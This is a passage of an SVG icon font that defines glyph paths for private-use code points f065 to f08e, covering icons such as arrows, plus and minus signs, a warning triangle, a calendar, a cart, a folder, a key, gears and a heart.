<glyph unicode="&#xf065;" d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332 q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf066;" d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45 t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
<glyph unicode="&#xf067;" horiz-adv-x="1408" d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf068;" horiz-adv-x="1408" d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf069;" horiz-adv-x="1664" d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154 q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
<glyph unicode="&#xf06a;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192 q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
<glyph unicode="&#xf06b;" d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320 q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5 t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf06c;" horiz-adv-x="1792" d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268 q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-30 0 -51 11t-31 24t-27 42q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5 t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
<glyph unicode="&#xf06d;" horiz-adv-x="1408" d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1 q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
<glyph unicode="&#xf06e;" horiz-adv-x="1792" d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5 t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
<glyph unicode="&#xf070;" horiz-adv-x="1792" d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9 q-105 -188 -315 -566t-316 -567l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5 q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z " />
<glyph unicode="&#xf071;" horiz-adv-x="1792" d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185 q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
<glyph unicode="&#xf072;" horiz-adv-x="1408" d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9 q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
<glyph unicode="&#xf073;" horiz-adv-x="1664" d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64 q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47 h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf074;" horiz-adv-x="1792" d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1 t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5 v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111 t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
<glyph unicode="&#xf075;" horiz-adv-x="1792" d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281 q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
<glyph unicode="&#xf076;" d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384 q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf077;" horiz-adv-x="1792" d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
<glyph unicode="&#xf078;" horiz-adv-x="1792" d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
<glyph unicode="&#xf079;" horiz-adv-x="1920" d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -11 7 -21 zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z " />
<glyph unicode="&#xf07a;" horiz-adv-x="1664" d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45 t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf07b;" horiz-adv-x="1664" d="M1664 928v-704q0 -92 -66 -158t-158 -66h-1216q-92 0 -158 66t-66 158v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h672q92 0 158 -66t66 -158z" />
<glyph unicode="&#xf07c;" horiz-adv-x="1920" d="M1879 584q0 -31 -31 -66l-336 -396q-43 -51 -120.5 -86.5t-143.5 -35.5h-1088q-34 0 -60.5 13t-26.5 43q0 31 31 66l336 396q43 51 120.5 86.5t143.5 35.5h1088q34 0 60.5 -13t26.5 -43zM1536 928v-160h-832q-94 0 -197 -47.5t-164 -119.5l-337 -396l-5 -6q0 4 -0.5 12.5 t-0.5 12.5v960q0 92 66 158t158 66h320q92 0 158 -66t66 -158v-32h544q92 0 158 -66t66 -158z" />
<glyph unicode="&#xf07d;" horiz-adv-x="768" d="M704 1216q0 -26 -19 -45t-45 -19h-128v-1024h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v1024h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45z" />
<glyph unicode="&#xf07e;" horiz-adv-x="1792" d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-1024v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h1024v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
<glyph unicode="&#xf080;" horiz-adv-x="2048" d="M640 640v-512h-256v512h256zM1024 1152v-1024h-256v1024h256zM2048 0v-128h-2048v1536h128v-1408h1920zM1408 896v-768h-256v768h256zM1792 1280v-1152h-256v1152h256z" />
<glyph unicode="&#xf081;" d="M1280 926q-56 -25 -121 -34q68 40 93 117q-65 -38 -134 -51q-61 66 -153 66q-87 0 -148.5 -61.5t-61.5 -148.5q0 -29 5 -48q-129 7 -242 65t-192 155q-29 -50 -29 -106q0 -114 91 -175q-47 1 -100 26v-2q0 -75 50 -133.5t123 -72.5q-29 -8 -51 -8q-13 0 -39 4 q21 -63 74.5 -104t121.5 -42q-116 -90 -261 -90q-26 0 -50 3q148 -94 322 -94q112 0 210 35.5t168 95t120.5 137t75 162t24.5 168.5q0 18 -1 27q63 45 105 109zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5 t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf082;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-188v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-532q-119 0 -203.5 84.5t-84.5 203.5v960 q0 119 84.5 203.5t203.5 84.5h960z" />
<glyph unicode="&#xf083;" horiz-adv-x="1792" d="M928 704q0 14 -9 23t-23 9q-66 0 -113 -47t-47 -113q0 -14 9 -23t23 -9t23 9t9 23q0 40 28 68t68 28q14 0 23 9t9 23zM1152 574q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM128 0h1536v128h-1536v-128zM1280 574q0 159 -112.5 271.5 t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM256 1216h384v128h-384v-128zM128 1024h1536v118v138h-828l-64 -128h-644v-128zM1792 1280v-1280q0 -53 -37.5 -90.5t-90.5 -37.5h-1536q-53 0 -90.5 37.5t-37.5 90.5v1280 q0 53 37.5 90.5t90.5 37.5h1536q53 0 90.5 -37.5t37.5 -90.5z" />
<glyph unicode="&#xf084;" horiz-adv-x="1792" d="M832 1024q0 80 -56 136t-136 56t-136 -56t-56 -136q0 -42 19 -83q-41 19 -83 19q-80 0 -136 -56t-56 -136t56 -136t136 -56t136 56t56 136q0 42 -19 83q41 -19 83 -19q80 0 136 56t56 136zM1683 320q0 -17 -49 -66t-66 -49q-9 0 -28.5 16t-36.5 33t-38.5 40t-24.5 26 l-96 -96l220 -220q28 -28 28 -68q0 -42 -39 -81t-81 -39q-40 0 -68 28l-671 671q-176 -131 -365 -131q-163 0 -265.5 102.5t-102.5 265.5q0 160 95 313t248 248t313 95q163 0 265.5 -102.5t102.5 -265.5q0 -189 -131 -365l355 -355l96 96q-3 3 -26 24.5t-40 38.5t-33 36.5 t-16 28.5q0 17 49 66t66 49q13 0 23 -10q6 -6 46 -44.5t82 -79.5t86.5 -86t73 -78t28.5 -41z" />
<glyph unicode="&#xf085;" horiz-adv-x="1920" d="M896 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1664 128q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1152q0 52 -38 90t-90 38t-90 -38t-38 -90q0 -53 37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5zM1280 731v-185q0 -10 -7 -19.5t-16 -10.5l-155 -24q-11 -35 -32 -76q34 -48 90 -115q7 -10 7 -20q0 -12 -7 -19q-23 -30 -82.5 -89.5t-78.5 -59.5q-11 0 -21 7l-115 90q-37 -19 -77 -31q-11 -108 -23 -155q-7 -24 -30 -24h-186q-11 0 -20 7.5t-10 17.5 l-23 153q-34 10 -75 31l-118 -89q-7 -7 -20 -7q-11 0 -21 8q-144 133 -144 160q0 9 7 19q10 14 41 53t47 61q-23 44 -35 82l-152 24q-10 1 -17 9.5t-7 19.5v185q0 10 7 19.5t16 10.5l155 24q11 35 32 76q-34 48 -90 115q-7 11 -7 20q0 12 7 20q22 30 82 89t79 59q11 0 21 -7 l115 -90q34 18 77 32q11 108 23 154q7 24 30 24h186q11 0 20 -7.5t10 -17.5l23 -153q34 -10 75 -31l118 89q8 7 20 7q11 0 21 -8q144 -133 144 -160q0 -9 -7 -19q-12 -16 -42 -54t-45 -60q23 -48 34 -82l152 -23q10 -2 17 -10.5t7 -19.5zM1920 198v-140q0 -16 -149 -31 q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20 t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31zM1920 1222v-140q0 -16 -149 -31q-12 -27 -30 -52q51 -113 51 -138q0 -4 -4 -7q-122 -71 -124 -71q-8 0 -46 47t-52 68 q-20 -2 -30 -2t-30 2q-14 -21 -52 -68t-46 -47q-2 0 -124 71q-4 3 -4 7q0 25 51 138q-18 25 -30 52q-149 15 -149 31v140q0 16 149 31q13 29 30 52q-51 113 -51 138q0 4 4 7q4 2 35 20t59 34t30 16q8 0 46 -46.5t52 -67.5q20 2 30 2t30 -2q51 71 92 112l6 2q4 0 124 -70 q4 -3 4 -7q0 -25 -51 -138q17 -23 30 -52q149 -15 149 -31z" />
<glyph unicode="&#xf086;" horiz-adv-x="1792" d="M1408 768q0 -139 -94 -257t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224 q0 139 94 257t256.5 186.5t353.5 68.5t353.5 -68.5t256.5 -186.5t94 -257zM1792 512q0 -120 -71 -224.5t-195 -176.5q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7 q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230z" />
<glyph unicode="&#xf087;" d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 768q0 51 -39 89.5t-89 38.5h-352q0 58 48 159.5t48 160.5q0 98 -32 145t-128 47q-26 -26 -38 -85t-30.5 -125.5t-59.5 -109.5q-22 -23 -77 -91q-4 -5 -23 -30t-31.5 -41t-34.5 -42.5 t-40 -44t-38.5 -35.5t-40 -27t-35.5 -9h-32v-640h32q13 0 31.5 -3t33 -6.5t38 -11t35 -11.5t35.5 -12.5t29 -10.5q211 -73 342 -73h121q192 0 192 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5q32 1 53.5 47t21.5 81zM1536 769 q0 -89 -49 -163q9 -33 9 -69q0 -77 -38 -144q3 -21 3 -43q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5h-36h-93q-96 0 -189.5 22.5t-216.5 65.5q-116 40 -138 40h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h274q36 24 137 155q58 75 107 128 q24 25 35.5 85.5t30.5 126.5t62 108q39 37 90 37q84 0 151 -32.5t102 -101.5t35 -186q0 -93 -48 -192h176q104 0 180 -76t76 -179z" />
<glyph unicode="&#xf088;" d="M256 1088q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 512q0 35 -21.5 81t-53.5 47q15 17 25 47.5t10 55.5q0 69 -53 119q18 32 18 69t-17.5 73.5t-47.5 52.5q5 30 5 56q0 85 -49 126t-136 41h-128q-131 0 -342 -73q-5 -2 -29 -10.5 t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5 h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -74 49 -163z" />
<glyph unicode="&#xf089;" horiz-adv-x="896" d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
<glyph unicode="&#xf08a;" horiz-adv-x="1792" d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559 q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5 q224 0 351 -124t127 -344z" />
<glyph unicode="&#xf08b;" horiz-adv-x="1664" d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704 q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
<glyph unicode="&#xf08c;" d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5 q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf08d;" horiz-adv-x="1152" d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38 t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
<glyph unicode="&#xf08e;" horiz-adv-x="1792" d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320 q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
